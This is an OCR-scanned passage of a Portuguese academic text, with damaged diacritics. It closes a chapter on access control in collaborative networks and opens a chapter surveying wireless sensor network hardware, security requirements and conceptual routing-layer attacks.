solucdes de controle de acesso que envolvem aspectos semanticos, usam destas extensoes
para adequar o uso do XACML nas redes colaborativas.

Nos trabalhos [Damiani et al. 2004, Patterson e Miller 2006, Patterson et al. 2008,
Muthaiyah e Kerschberg 2007] sdo propostas solucdes para integracdo de politicas de
controle de acesso através de anotagdes no XACML que apontam para instincias de onto-
logias. A Figura 3.9 ilustra como sdo feitas as anotagdes que acrescentam uma descri¢ao
semantica a0 WSDL de um Servigo Web. Tais anotagdes poderiam também ser usadas em
conjunto com o WS-Policy [WS-POLICY 2007] para acrescentar significado semantico
as politicas.

Observa-se na Figura 3.9 que as tags RDF (Resource Description Framework)
sdo utilizadas para indicar a localizagdo da descri¢do semantica do servico. O uso em
conjunto do RDF com a Web Ontology Language (OWL) possibilita a representacao do
conhecimento a partir de padrdes (ontologias).

O controle de acesso baseado em papéis (RBAC) € um modelo onde a identidade
no sistema € representada por um papel e todas as politicas de permissdes estdo associadas
a este [Sandhu e Samarati 1994]. Segundo [Patterson e Miller 2006], o RBAC € o modelo
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Figura 3.9. Acrescentando anotacées semanticas em WSDL

de controle de acesso mais empregado em solugdes que fazem uso de ontologia devido
a sua facilidade de implementacdo, flexibilidade e por possuir um amplo repositério de
papéis ja mapeados por ontologias. Isto permite que se use um mecanismo RBAC com
anotacdes semanticas para descri¢ao de usudrios, papéis, objetos e operacdes.

Com as informacdes semanticas compondo a descri¢do funcional e ndo funcional
do Servico Web, a descoberta e casamento dos servigcos ndo é mais simplesmente uma
busca sintdtica e sim uma inferéncia sobre as instancias e dominios de ontologias. O
fluxo bésico de descoberta de servigcos é exemplificado pelo diagrama da Figura 3.10.

Servico de
Descoberta

E-UDDI
1 2 Lumina >3

Cliente WSDLS vs. WSDL

Provedor i
Provedor j

Provedor k

Descoberta

Verificagdo de
Autorizagao

Verificador de
Politicas

5,6

ServigoCandidato

Invocagao

Figura 3.10. Fluxo de Descoberta de Servicos Web Semanticos. Adaptado de
[Patterson e Miller 2006]

A Figura 3.10 mostra, no passo 1, um cliente enviando uma requisicao de servico
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para o motor de descoberta semantica. Nos passos 2 e 3, é feita a busca por servicos a
partir de anotacdes semanticas usando a ferramenta Lumina®’, que implementa um UDDI
semantico. No passo 4, os servicos encontrados sao retornados ao cliente, onde nos passos
5 e 6 ¢ feita a verificacdo de autorizacdo e andlise de restricdes bem como a invoca¢ao
do servigco. No passo 7, sdo feitas as andlises do WS-Policy quanto ao casamento dos
requisitos funcionais e ndo funcionais da descoberta.

Solucdes de autorizacao baseadas em Padronizacao das Politicas

Segundo [Zhang et al. 2006] e [Zhang et al. 2008], sistemas colaborativos e ad hoc se tor-
naram um novo desafio para o gerenciamento de autorizac¢do, pois ndo existe um acordo
prévio para formacao da organizacao virtual e as decisdes de autorizagdo dependem de
informacao de contexto. Para tal em [Zhang et al. 2006] e [Zhang et al. 2008] foi pro-
posto um framework de autorizacido baseado em UCON (Usage Control) para sistemas
colaborativos. UCON estende os modelos de controle de acesso cldssicos e permite con-
trolar uma agdo instantanea, ou continua, durante um determinado periodo de tempo. A
decis@o de acesso pode ser realizada antes e durante o processo de acesso. Duas carac-
teristicas diferem o UCON dos modelos de controle de acesso cldssicos: a continuidade
do processo de decisdo de acesso; e a mutabilidade dos atributos do sujeito e do objeto
[Zhang et al. 2006, Zhang et al. 2008].

Normalmente, em redes colaborativas o provedor de um servico tem a dltima deci-
sdo com relagdo acesso ao recurso compartilhado mas, a0 mesmo tempo, como membro
da organizagdo virtual deve respeitar as politicas definidas globalmente para a organi-
zagdo. O uso do UCON como modelo de controle de acesso, para o desenvolvimento
de um framework de controle de acesso para sistemas colaborativos foi justificado em
[Zhang et al. 2008] pelo fato de ser um modelo bastante robusto e flexivel.

Nas redes colaborativas, os provedores de servicos e, no caso das organizagdes
virtuais, os gerentes das OVs, sdo os responsdveis por definir ou alterar politicas de se-
guranca [Zhang et al. 2006]. Segundo [Zhang et al. 2008], diferentes tipos de politicas
podem ser especificadas, tais como: as politicas de acesso aos recursos, politicas de com-
partilhamento de recursos, e as politicas para tarefas colaborativas.

Pode-se observar que a solucdo baseada no UCON ¢€ bastante robusta e flexivel
porém exige que todos os parceiros a implemente o que nem sempre € possivel pois orga-
niza¢des contam com sistemas legados e bastante heterogéneos, caracteristica intrinseca
de redes colaborativas. Portanto tal solucdo € bastante pertinente quando existe a possibi-
lidade desta padronizac¢do caso contrdrio, ndo resolve o problema de casamento semantico
de politicas em dominios distintos.

Nas solucdes baseadas no mapeamento semantico, como em [Damiani et al. 2004,
Patterson e Miller 2006, Patterson et al. 2008, Muthaiyah e Kerschberg 2007], os proble-
mas ndo sao totalmente resolvidos pois a busca por servigos e o casamento das politicas de
controle de acesso sdo feitos sobre inferéncias realizadas nos dominios de ontologias.Tais
inferéncias, a partir das instancias de ontologias anotadas nos documentos de descri¢ao

2Mais informagdes em: http://lsdis.cs.uga.edu/projects/meteor-s/downloads/Lumina/
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dos servigos, geram um certo grau de incerteza que deve ser tratado para que ndo seja
negado acesso a um recurso que deveria ser liberado ou liberado acesso a recursos que
nao deveriam ser acessados. Outro problema estd relacionado com a forma que as infor-
macoes semanticas sobre o servigo sdo publicadas, uma vez que todos podem ter acesso
as descri¢des semanticas de controle de acesso do servico. Isto gera um problema de
privacidade e pode vir a comprometer a seguranga do sistema [Patterson et al. 2008].

Estudo de caso

Como forma de abordar os problemas de autorizacdo e controle de acesso, inerentes as
redes colaborativas, nessa se¢do serd apresentado um estudo de caso no contexto da Rede
Colaborativa de Ensino e Pesquisa do Brasil (RNP) - Servico de Acesso a Servigcos de
Bibliotecas Digitais descrito na Se¢do3.2.4.

Supdem-se, neste exemplo, que a propria RNP serve de provedor de servicos e
que ofereca um Servico Web para a busca avancada de artigos, monografias e teses em
todas as bibliotecas digitais dos membros federacdo. O servico consiste basicamente de
uma interface, a qual interage com o usudrio, um motor de buscas avancgado, responsavel
por realizar consultas em bases locais, remotas ou ainda invocando outros Servicos Web
de membros da rede, e um visualizador de conteados.

Cada provedor de servigo da federacdo CAFe da RNP possui suas politicas de
autorizagdo e controle de acesso pois estdo sob modelos administrativos distintos. A ne-
cessidade da disponibilizag¢do deste servi¢o de busca deve levar em considerac@o a neces-
sidade de entendimento das politicas de controle de acesso entre todos os participantes.
Pode-se imaginar uma situagdo em que um usudrio (Professor), apos autenticado no ser-
vico provido pela prépria RNP, quer acesso a uma biblioteca digital disponibilizado por
outro membro da rede. Como os dominios administrativos (semanticos) sao distintos, se
a forma de identificar este usudrio e 0s recursos a que se quer verificar o acesso forem di-
ferentes isto pode causar incompatibilidade durante a aplicacao das regras de autorizacao.

Como se estd em um cendrio onde ja existem relacdes de confianga entre os mem-
bros da federacdo, pode-se resolver o problema de controle de acesso distribuido de duas
formas:

e todos os membros da rede colaborativa podem definir suas politicas de acordo com
o modelo UCON para sistemas colaborativos [Zhang et al. 2008]; ou

e apods a definicdo dos padrdes de representacdo (dominios de ontologia) todos os
membros devem fazer o mapeamento entre as politicas de controle de acesso € os
dominios de ontologias como em [Patterson et al. 2008, Patterson e Miller 2006,
Muthaiyah e Kerschberg 2007]. Como se trata de uma federagcdo de servigos cuja
composicao é duradoura, impasses no casamento de politicas ndo devem ocorrem.

3.5. Consideracoes finais

Os participantes em redes colaborativas desejam poder se comunicar de forma dinamica e
respeitando os requisitos de seguranca dos parceiros. As politicas de QoP, principalmente
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na linguagem padrao WS-Policy, sdo parte da solu¢do para esse problema. No entanto,
ainda hd uma caréncia no suporte das ferramentas atuais as caracteristicas da especifi-
cacdo que podem oferecer maior dinamismo, como a definicdo de multiplas alternativas
de politica, verificagdo automdtica de compatibilidade e configura¢do dinamica de segu-
ranca.

O estabelecimento dindmico da confianca em redes colaborativas exige modelos
que consigam operar em ambientes de larga escala e compostos por relagdes que possuem
pouco tempo de vida. Modelos de confiangca baseados em redes de confianca e aliados
a sistemas de reputacOes se mostram adequados a tal tipo de cendrio e apesar da litera-
tura apresentar diversas propostas, ndo se tem uma implementa¢cdo completa destinada a
criacdo das redes colaborativas.

Conforme descrito na Secdo 3.4.4, é possivel concluir que os requisitos necessa-
rios para garantir a prote¢do da privacidade dos participantes de uma rede colaborativas
conforme apresentados em [W3C 2004b] ainda ndo atendem a real necessidade existente
no ambiente dos Servicos Web, o que exige a criacio de novas solugdes para a rea.

Em se tratando de autorizacdo e controle de acesso, a peca chave para composi-
cdo e aplicacdo de politicas de controle de acesso em redes colaborativas estd na busca
pela representacdo consistente da semantica das informacdes da politica, ja4 que em do-
minios administrativos distintos, como j4 foi citado anteriormente, a busca e tentativa
de casamento sintdtico das politicas ndo sao suficientes. Duas s@o as abordagens utili-
zadas para resolver problemas inerentes a ambientes colaborativos: padronizagdo prévia
das informag¢des de controle de acesso para todos os parceiros ou mapeamento entre as
informacdes sintdticas e semanticas dos servicos. Mesmo assim alguns problemas ainda
precisam ser resolvidos para que se tenha uma solucao de controle de acesso, entre estes:
o grau de incerteza que € introduzido quando se utiliza inferéncias sobre os dominios de
ontologia para o casamento das politicas de controle de acesso e a necessidade de publi-
cacdo de informacdes semanticas das politicas que pode provocar um problema quanto a
privacidade.
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4

Seguranca em Redes de Sensores Sem Fio

Cintia Borges Margi!, Marcos Simplicio Jr?, Paulo S.M.L. Barreto?, Tereza
C.M.B. Carvalho?®

Abstract

The main goal for this chapter is to present an overview of security in Wireless Sensor
Networks (WSN). First, we introduce general concepts of WSN. Next, main vulnerabilities
and attacks are described, as well as security architectures for WSN. Following, problems
related to routing, localization ad data aggregation are discussed and some secure so-
lutions are presented. Then symmetric and asymmetric encryption algorithms, Message
Authentication Codes (MACs), and key distribution mechanisms are discussed and analy-
zed with WSN context. Finally, issues related to security mechanisms deployment and
tests in WSN testbeds are discussed.

Resumo

O objetivo deste capitulo é apresentar a visdo geral da drea de seguranca em Redes
de Sensores sem Fio (RSSF). Primeiro é feita uma apresentacdo de diversos conceitos
sobre RSSF. Em seguida, as principais vulnerabilidades e ataques sdo descritos, bem
como algumas arquiteturas de seguranga para RSSF. Com estes conceitos, os problemas
relacionados a roteamento, localizagdo e agregacdo de dados sdo discutidos e solu¢oes
seguras sdo apresentadas. Entdo, algoritmos de criptografia simétrica e assimétrica,
codigos de autenticacdo de mensagens (MACs), e mecanismos de distribuicdo de chaves
sdo discutidos e analisados no contexto de RSSF. Finalmente, questoes relacionadas a
implantagado e testes de mecanismos de seguranga em testbed de RSSF sdo discutidas.

4.1. Introducao

A tecnologia de Redes de Sensores Sem Fio (RSSF) € uma tecnologia que tem propul-
sionado o desenvolvimento de aplicagdes em diversas dreas. Como exemplos podem
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ser citadas aplicacdes que hoje incluem monitoramento ambiental, monitoramento de es-
truturas de construcao civil, controle de temperatura e umidade de ambientes fechados,
mapeamento de temperatura em amplas dreas, gerenciamento de desastres naturais, entre
outros. Nestes cendrios, geralmente os dados coletados pelos nds sensores sdo enviados a
um né sorvedouro, que por sua vez ird encaminhd-los a um servidor conectado a Internet,
de modo que os usudrios das aplicacdes possam acessar os dados coletados em tempo
real.

As RSSF podem ser definidas como uma classe especial de redes ad hoc de mul-
tiplos saltos (MANETS - Multihop Ad Hoc Networks), pois ambas possuem muitas ca-
racteristicas comuns. As MANETS sdo redes sem fio, que ndo possuem qualquer infra-
estrutura fixa. Os nds participantes normalmente utilizam baterias como fonte de energia
e, portanto, tétm acesso a um suprimento limitado de energia. Os equipamentos em redes
de sensores tipicamente possuem recursos limitados, como baixa capacidade de processa-
mento, pouca memoria para armazenamento, sistemas de comunicacdo de baixa largura
de banda, e principalmente tém fonte de energia com capacidade limitada [31].

Outra caracteristica importante das redes de sensores € o fato de que, para varias
aplicagdes, a implantag@o da rede € feita sem nenhuma forma de monitoramento dos nés
durante toda sua vida operacional. O projeto de protocolos de comunicagcdo que levam
em consideracao a otimiza¢do do consumo de energia pelos nos € essencial. Consequen-
temente, a compreensdo sobre as fontes de consumo de energia devido a execucdo de
tarefas referentes a processamento, sensoreamento e comunicacao (as trés principais fon-
tes de consumo de energia em um nd) proporciona o conhecimento necessario para definir
os ciclos de operagdo dos nds sensores. O uso de ciclos de operagao € um método comum
para economizar energia em implantacdes de redes de sensores [77, 111]. Este método
permite que o no sensor alterne entre periodos de atividade, inatividade (idle) e modo de
baixo consumo (sleep), economizando, assim, energia.

A maioria da pesquisa desenvolvida atualmente em redes de sensores foca em apli-
cacdes que requerem baixa taxa de amostragem dos sensores e pouca largura de banda da
rede, como aplicagdes que fazem uso de sensores de umidade ou temperatura. Além
disso, a principal hipétese € que os custos de comunicagdo (em termos de energia) do-
minam em redes de sensores. Porém o que acontece se sensores mais sofisticados, como
acelerdmetros ou magnetometros, forem utilizados? O trabalho desenvolvido por Doherty
et al. [37] apresenta trés aplicacdes diferentes: monitoramento de ambiente, detec¢io de
terremotos e rastreamento, sendo que cada uma delas apresenta um componente diferente
que domina os custos de energia. No caso do cenario de monitoramento de ambiente, o
objetivo € monitorar as condi¢cdes ambientais de um prédio de escritdrios, € 0s sensores
utilizados incluem sensores de temperatura, umidade e luminosidade. Nesse caso, todos
esses sensores possuem taxa de amostragem baixa e os nds estdo a um salto de distancia
do sorvedouro, porém a comunicacao domina o consumo de energia. No caso do cendrio
de deteccdo de terremoto, monitora-se a frequéncia de oscilacdo em diversos pontos da
estrutura. Para tanto, utilizam-se acelerdmetros de 3 eixos e magnetdmetros de 3 eixos,
e a taxa de amostragem tipica € de 100 Hz. Neste caso, os custos de energia relacio-
nados a sensoreamento e comunicacdo sio equivalentes. O terceiro caso apresentado €
o cendrio de rastreamento, onde se detectam e rastreiam veiculos. Os sensores usados
incluem microfones, acelerdmetros e magnetdmetros. VAarios nés comportam-se somente
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como encaminhadores de dados, ndo executando sensoreamento algum. Neste cendrio, o
sensoreamento consume mais energia do que a comunicagao.

Um cendrio ainda mais complexo sdo as Redes de Sensores Visuais sem Fio
(RSV), que incluem cameras como sensores [78, 24, 97]. Este tipo de redes de sensores
possui requisitos de comunicagdo mais complexos do que redes de sensores compostos
por sensores de temperatura e umidade por exemplo. Dentre estes requisitos, podemos
citar: suporte da rede para multiplos fluxos com prioridades diferentes; gerenciamento
de recursos adaptdvel como largura de banda e poténcia do sinal de transmissdo; garantia
de baixa laténcia e variacdo de atraso para comunicacio entre nds sensores; conheci-
mento do estado atual da rede (largura de banda, energia disponivel nos nds vizinhos);
auto-organizacio e auto-gerenciamento. Além de terem requisitos de comunicacao mais
complexos, as RSVs exigem maior capacidade de processamento do nd. A aquisi¢ao de
video (ou de sequéncia de imagens) € uma operacao intensa para a CPU (Control Process
Unit), pois os dados obtidos precisardo ainda ser comprimidos. O uso de algoritmos de
computacao visual pode minimizar a quantidade de dados a ser transmitido e/ou tornar
o no inteligente. Um né sensor visual inteligente deve ser capaz de tomar decisdes so-
bre quando rastrear um objeto, quando passar a responsabilidade de rastrear um objeto
para um né vizinho em melhor posi¢do, e quando e que tipo de dado enviar ao nd sor-
vedouro. Dependendo da quantidade de energia disponivel no né e dos recursos de rede
disponiveis, o n6 sensor pode decidir se envia o video (ou uma sequéncia de imagens)
com ou sem compressao, ou alguma forma de representacdo de alto nivel do objeto sendo
rastreado.

Conforme ja mencionado, a utilizagdo de ciclos de opera¢do € comum em implan-
tacdes de redes de sensores. Geralmente, os ciclos de operacdo sio definidos antes da
implantacdo. Por exemplo, no trabalho desenvolvido por Doherty et al. [37], as tarefas
sdo determinadas tomando como base a energia disponivel. No caso da redes de sensores
implantada em Great Duck Island [77] para monitoramento de habitat, a vida ttil da rede
deveria ser de nove meses, de modo a capturar as variagdes de plantas e animais com a
mudanca das estagdes do ano. Considerando este fato, a energia disponivel nos nés por
dia, e o custo estimado das tarefas a serem executadas (sensoreamento, transmissao de
dados, sistema operacional, tarefas de manuten¢do), determinou-se o conjunto didrio de
tarefas e, portanto, o ciclo de operacgdo.

Em outra abordagem possivel, o n6 sorvedouro determina as tarefas a serem exe-
cutadas por um né e seu intervalo de inatividade, e consequentemente o seu ciclo de
operacdo. Como exemplo desta abordagem podemos citar o TinyDB [76], que foi im-
plementado no TinyOS [52] e prové acesso de maneira similar a SQL (Structured Query
Language), onde o usudrio especifica os dados que quer extrair da rede de sensores, jun-
tamente com parametros adicionais, como por exemplo a taxa de amostragem. Uma vez
feita a requisic@o, TinyDB ird coletar os dados dos sensores, filtrar, agregar e rotear para
o n6 sorvedouro. Levis et al. [68] propdem a utilizacdo de Mdquinas Virtuais Depen-
dentes de Aplicacdo (ASVM - Application Specific Virtual Machines) para reprogramar
nds sensores. Esse tipo de abordagem centralizada prové mais flexibilidade do que o uso
de ciclos de operacdo pré-determinados porém, além de gerar trafego adicional na rede,
depende de uma entidade central para otimizar a coleta de dados.
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Com a utilizacao de redes de sensores com nés inteligentes, pode-se adotar uma
terceira abordagem: o proprio né determina como serd seu ciclo de operagdo baseado nos
requisitos da aplicacdo (sequéncia de tarefas a serem executadas, frequéncia minima e
maxima de amostragem), na quantidade de energia disponivel na sua bateria, no estado
da rede (perda de pacotes, atraso médio, largura de banda disponivel), e nas informa-
coes recebidas de seus vizinhos. A partir dessas informacdes, os nds sensores podem
decidir quando enviar dados, quando mudar para o estado de baixo consumo de energia,
quando coletar dados, e assim por diante. Para tratar deste problema, torna-se necessario
um modelo de consumo de energia que considere a comunicag¢do, o processamento € o
sensoreamento. Este modelo poderia ser usado tanto por projetistas de redes de sensores
como de protocolos. Outra aplicagdo para este modelo seria na definicdo de um gerente
de recursos a ser implementado no né sensor, que tomaria as decisdes relativas as ativida-
des a serem executadas. Lachenmann et al. [64] propdem uma abstra¢do de programagao
para aplicacdes de RSSF conscientes de energia, onde ndo existe redundancia e nenhum
n6 deve falhar. Utilizando informag¢des de consumo de energia de blocos de cédigo ob-
tidas em simuladores, os autores propdem niveis de consumo de energia, que devem ser
escolhido de acordo com o tempo de vida desejado.

Os protocolos de camada de controle de acesso ao meio (MAC - Medium Access
Control) especificos para RSSF incluem: S-MAC [113], TRAMA [98] e TMAC [112].
Mais recentemente, o padrdao IEEE 802.15.4 [108] foi proposto, englobando uma especi-
ficacdo das camadas de enlace e fisica (as duas camadas inferiores da pilha de protocolos
OSI) com as seguintes caracteristicas: conexao sem fio de curto alcance com baixa taxa
de transferéncia e baixa laténcia, mobilidade e baixo consumo de energia. E classificado
como um padrdo de rede Wireless Personal Area Network (WPAN) e opera tipicamente
no Espaco de Operagdao Pessoal (ou POS - Personal Operating Space) de 10 metros e
sua taxa de transmissdo varia entre 20 e 250 kb/s. O mecanismo de Controle de Acesso
ao Meio utilizado € o CSMA/CA (Carrier Sense Multiple Access - Collision Avoidance)
com alocacao de slots de tempo opcional, reconhecimento de mensagem e uma estrutura
de sinalizacao conhecida como beacon [17].

Dada as caracteristicas das RSSF, onde sdo importantes o uso eficiente de energia
e a colaboracdo entre 0s nds para atingir o objetivo da aplica¢io sendo executada, proto-
colos da pilha TCP/IP (como o IP, TCP ou UDP) nio sdo utilizados. Dentre os diversos
protocolos propostos, temos exemplos de protocolos de coleta de dados, como o Diffu-
sion [55] e SPIN (Sensor Protocols for Information via Negotiation) [63], agregacdo de
dados [106], controle de topologia [21], clustering [5S0]. Observa-se que estes protocolos
acabam sendo extremamente dependentes da aplicacdo, ndo existindo padrdes.

4.1.1. Noés Sensores

As RSSF sdao compostas por dispositivos de baixo custo, que possuem recursos limitados
de processamento, armazenamento, comunica¢do, energia, além dos sensores propria-
mente ditos [31]. Os nds sensores TelosB e MicaZ da Crossbow tém sido amplamente
utilizados em testbeds e implantacdes de RSSF.

O n6 sensor TelosB [29] possui processador RISC de 16 bits com 8 MHZ de clock,
48 Kilobytes de memoria flash programével, 10 Kilobytes de meméria RAM, EEPROM
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de configuracdo de 16 Kilobytes, interface USB v1.1 ou mais alta, e 3 LEDs. Ele consome
1,8 mA no modo ativo e 5,1 4 A no modo sleep, utilizando duas pilhas AA como fonte
de energia. Seu radio é compativel com o padrdao IEEE802.15.4 [108], operando na faixa
de frequéncia ISM de 2,4 a 2,4835 GHz, e taxa de transmissdo de 250 Kbps. O TelosB
possui os seguintes sensores: luz visivel (320 a 730 nm); luz visivel a IR (320 a 1100nm);
umidade e temperatura.

O Crossbow MicaZ [27] também € compativel com o padrao IEEE 802.15.4
e utiliza o0 mesmo radio do Crossbow TelosB. No entanto, utiliza o microcontrolador
MPR2400 Atmel e possui 128 Kilobytes de memdria flash programavel, 512 Kilobytes
de memoria para medidas, EEPROM de configuragao de 4 Kilobytes, e 3 LEDs. Ele con-
some 8 mA no modo ativo e menos de 15 A no modo sleep, utilizando duas pilhas AA
como fonte de energia. A placa de sensores MTS400CA inclui sensores de temperatura,
umidade, luz visivel e acelerbmetro de 2 eixos.

4.2. Seguranca em RSSF: Visao Geral

As diferentes aplicacdes de RSSF possuem diferentes requisitos de seguranca. Imagine
uma aplicacdo de monitoramento climatico em uma floresta com a finalidade de obter
dados para estudos bioldgicos. Os pesquisadores que utilizardo os dados recebidos no
sorvedouro, esperam que estes reflitam a realidade do que foi medido nos diversos pontos
da floresta. Ou seja, a integridade dos dados coletados e transmitidos é importante.

Os dados obtidos com a monitora¢do de aspectos climéticos de uma floresta ou
caracteristicas de animais em uma regido nao sdo sigilosos. Contudo, a divulga¢do do
estado de maquinas e/ou do ambiente em uma planta fabril poderia levar a prejuizos ou
vantagem a concorréncia. Assim, o sigilo desses dados monitorados € extremamente
importante. Além da confidencialidade dos dados, também € necessdrio garantir o sigilo
das informagdes de roteamento para evitar que estas sejam usadas em ataques de negacao
de servico.

Se considerarmos a automacao residencial com RSSF ou aplicacdes ligadas a drea
de satde, além da confidencialidade dos dados, é importante garantir a autenticidade dos
dados que sdo coletados e transmitidos, bem como a autenticidade dos ndés. No caso
de tarefas de administracdo e gerenciamento da rede, como no envio de consultas via
TinyDB [76] ou a reprogramacao de nés sensores [68], a autenticidade do sorvedouro
precisa ser verificada, pois caso contrdrio a operacao da RSSF fica comprometida.

Ainda, é importante garantir a disponibilidade da aplicacdo de RSSF as partes
autorizadas. Portanto, sdo necessarios mecanismos de sobrevivéncia a ataques de negagao
de servico (como a injec@o de pacotes indteis para aumentar o consumo de energia dos
nés e diminuir o tempo de vida da RSSF) que poderiam ocorrer em qualquer camada da
rede.

Além dos servigos de seguranga citados (integridade dos dados, confidencialidade,
autenticidade do n6 e dos dados e disponibilidade), também € importante garantir que os
dados enviados sdo recentes (data freshness), ou seja, que nenhum intruso esta replicando
dados antigos. Este mesmo conceito também pode se aplicar as chaves em uso na RSSF
(key freshness). E, assim, os mecanismos de estabelecimento de chaves devem garantir
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que as chaves em uso sdo recentes, impedindo o uso de chaves antigas que poderiam ter
sido obtidas apds o comprometimento de um noé [54].

Dadas as caracteristicas das RSSF, que se baseiam em n6s com recursos de proces-
samento, armazenamento, comunicagdo e energia limitados, os mecanismos de seguranca
empregados devem ser escaldveis (em termos de energia e atraso). Os desafios para a
implementagcdo de mecanismos de seguranca em RSSF, de acordo com Hu e Sharma [54],
incluem:

e Conlflito entre minimizar consumo de recursos e maximizar a seguranca: neste
contexto, recursos sdo energia, ciclos de CPU, memodria. Para garantir o sigilo de
mensagens € necessdrio criptografar os dados, e para garantir a autenticidade sdo
adicionados fags de autenticac@o, o que pode aumentar o tamanho da mensagem a
ser transmitida. A criptografia e o cdlculo dos cédigos de autenticacdo de mensa-
gens sdo operacdes que serdo executadas no no origem e em cada né que precise ler
o conteido da mensagem cifrada ou verificar a autenticidade da mensagem. Além
disso, o encaminhamento de mensagens maiores ird custar mais energia a todos os
nds na sua rota. Os mecanismos de estabelecimento e distribui¢do de chaves tam-
bém consomem energia, e devem ser otimizados para reduzir o processamento e
minimizar o nimero de mensagens trocadas. O uso de ciclos de trabalho (dutycy-
cles) com periodo de inatividade dos nds (que mudam para modo sleep para reduzir
o consumo de energia), pode levar a falhas na sincronizagdo ou atualizacdo de cha-
ves. Ainda, se expandirmos o conceito de recursos para incluir o custo do no,
mecanismos de protecdo fisica do né (tamper protection) aumentam o custo.

e Topologia de RSSF suscetivel a ataques ao enlace: diferentemente das redes ca-
beadas, as redes sem fio ndo possuem protecao fisica ao enlace ou aos equipamen-
tos. Assim, ataques passivos (monitoramento do canal) e ativos (interferéncia) sdao
possiveis. Além disso, existe uma grande quantidade de nds, com a possibilidade
de mobilidade em alguns casos, e estes normalmente ndo sdo monitorados. Desta
forma, alguns nés podem ser capturados e substituidos por nés comprometidos, ou
informacdes criticas podem ser obtidas.

e Caracteristicas da comunicacio sem fio: o alcance da transmissao limitado (me-
nor do que 100 metros, chegando a 20m em algumas situacdes), a largura de banda
limitada (menos do 250 Kbps), os enlaces ndo sdo confidveis e os canais sdo unidire-
cionais, que requerem mecanismos diferentes daqueles usados em redes cabeadas.

4.2.1. Vulnerabilidades e Ataques

Conforme descrito pelos desafios indicados por Hu e Sharma [54], muitas das vulnerabi-
lidades das RSSF existem devido a comunicac¢do sem fio e o fato de que os nds sensores
ficam em locais sem seguranga fisica ou nao sao monitorados.

As principais vulnerabilidades relacionados a camada fisica do modelo OSI in-
cluem a interferéncia do sinal de comunicagao transmitido, e o dano de nds sensores. A
interferéncia do sinal de comunicacdo transmitido por um né (signal jamming) ocorre
quando um no intruso gera sinais aleatdrios para impedir que a comunicacao entre os nds
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da RSSF ocorra corretamente. Uma maneira de evitar este tipo de interferéncia com as
frequéncias em uso € através do uso de espalhamento espectral para a codificacdo dos
sinais [54]. Porém, os rddios com suporte a codificacdo por espalhamento espectral sdo
mais complexos, mais caros € consomem mais energia, o que pode inviabilizar seu uso
em RSSF.

A segunda vulnerabilidade fisica € oriunda do fato dos nds sensores ficarem em
locais sem seguranca fisica ou ndo monitorados, e contempla formas de node tampering.
Um intruso poderia danificar um n6 sensor, de modo que este ndo efetuaria as suas fungdes
de coleta de dados e/ou roteamento, prejudicando o funcionamento da aplicacdo sendo
executada pela RSSF. Ainda, o n6 poderia ser substituido por um né malicioso para gerar
ataques a rede ou obter informagdes sendo transmitidas. Uma terceira possibilidade é que
as informagdes armazenadas em um no sensor capturado sejam extraidas, permitindo a um
atacante obter chaves de criptografia ou autenticacdo. Para evitar que esta vulnerabilidade
seja explorada sdo necessdrios circuitos ou mecanismos para protecao dos dados, capas
de protecdo ou selos.

Protocolos de Controle de Acesso ao Meio baseados em contencdo podem repre-
sentar uma vulnerabilidade em RSSF. Basta induzir colisdes de um octeto para que um
quadro completo seja corrompido, e que a retransmissao seja necessaria. Corromper um
quadro de confirmacdo (ACK) poderia fazer com que nds entrem em backoff exponen-
cial, e as transmissdes de dados sejam atrasadas ou perdidas (devido ao nimero maximo
de tentativas). Mecanismos de correcao de erro mais complexos poderiam evitar que a
colis@o de um octeto descartasse a mensagem toda. Observe que explorar esta vulnerabi-
lidade pode fazer com que os nds em uma regido fiquem completamente sem energia, o
que poderia levar a um particionamento da rede e/ou sua indisponibilidade.

As vulnerabilidades na camada de rede provém de problemas associados ao rotea-
mento de dados, uma vez que, em RSSF, todos os n6s sdo roteadores. A forma mais direta
de ataque a um protocolo de roteamento ¢ alterar, repetir ou falsificar (spoof) pacotes de
controle do mesmo, de forma a criar loops, desvios, buracos negros ou parti¢des [59].
Dentre os ataques, podemos enumerar [60, 54, 3]:

e Buracos Negros (Black or sink holes): um n6 malicioso introduz a melhor rota
a varios um destino passando por ele, possibilitando ao n6é malicioso descartar ou
modificar pacotes. Ainda, a medida que mais pacotes sdo roteados e mais nés dis-
putam o acesso ao meio de transmiss@o, 0s nds sensores que encontram-se nessa
rotas terdo sua energia consumida mais rapidamente, o que poderia levar a um par-
ticionamento da rede com morte desse nds.

e Inundacio da rede (ou flooding): um né malicioso inunda a rede com mensagens
falsas, causando congestionamento e consumo excessivo de energia pelos nds sen-
sores. Além disso, o envio de mensagens de roteamento falsas pode criar rotas
erradas, causando descarte de pacotes.

e Desvios e loops: nds maliciosos alteram o roteamento dos pacotes, de modo a
direcionar o trafego através de desvios ou loops por nés com pouca energia ou
congestionados. Isso atrasa a entrega dos pacotes, ou provoca a sua perda.
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e Wormholes: dois n6s maliciosos em diferentes particdes da rede criam um tinel
entre si, utilizando frequéncia de radio diferente daquela utilizada na RSSF. Atra-
vés deste tunel, enviam pacotes de uma parti¢cdo da rede para a outra, fazendo com
que nds em diferentes particdes acreditem serem vizinhos, € consequentemente in-
troduzindo problemas de convergéncia no roteamento.

e Sequestro de n6s: um grupo de nés maliciosos cercam um né sensor da RSSF, e
0 sequestram ao recusar o envio de suas mensagens, descartando-os ou injetando
pacotes invalidos.

e Nos irmaos (Sybil Nodes): um n6 malicioso assume multiplas identidades (fabrica-
das ou roubadas), que sao chamadas de nds irmaos. Além de ataques a protocolos
de roteamento, os “nds irmaos”” podem ser usados para atacar protocolos de proto-
colos de armazenamento distribuido, agregacio de dados, elei¢des e algoritmos de
deteccdo de mau-comportamento.

A Figura 4.1 ilustra alguns ataques possiveis na camada de rede em RSSF.

® o O O
o
® O

Sequestro de no

Wormhole

Desvio

O Nos bons
. Nos maliciosos

Figura 4.1. Ataques na camada de rede em RSSF.

Do ponto de vista da camada de aplicacdo, Buracos na Cobertura ocorrem se
um ndmero insuficiente de nds, de acordo com os requisitos da aplicagdo, realiza o sen-
soreamento em uma dada regido. Se a densidade da distribui¢do de nds nao for suficiente,
e/ou se muitos nds “morrerem’ em uma regido, estes buracos aparecem.

Outro aspecto a ser considerado em vérias camadas, € o envio de mensagens de re-
conhecimento falsas (acknowledgment spoofing). Diversos protocolos de RSSF utilizam
mensagens de reconhecimento, e a falsificacio destas pode fazer com que um né acredite
que um vizinho sem energia estd funcionando corretamento, ou que um enlace ruim €
bom.
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Portanto, os principais ataques a RSSF envolvem a captura de nés, o manuseio
indevido dos mesmos (tampering) € negacdo de servigo (através da criacdo de buracos
negros, wormholes, introducio de desvios ou loops, sequestro de nos, criacdo de proble-
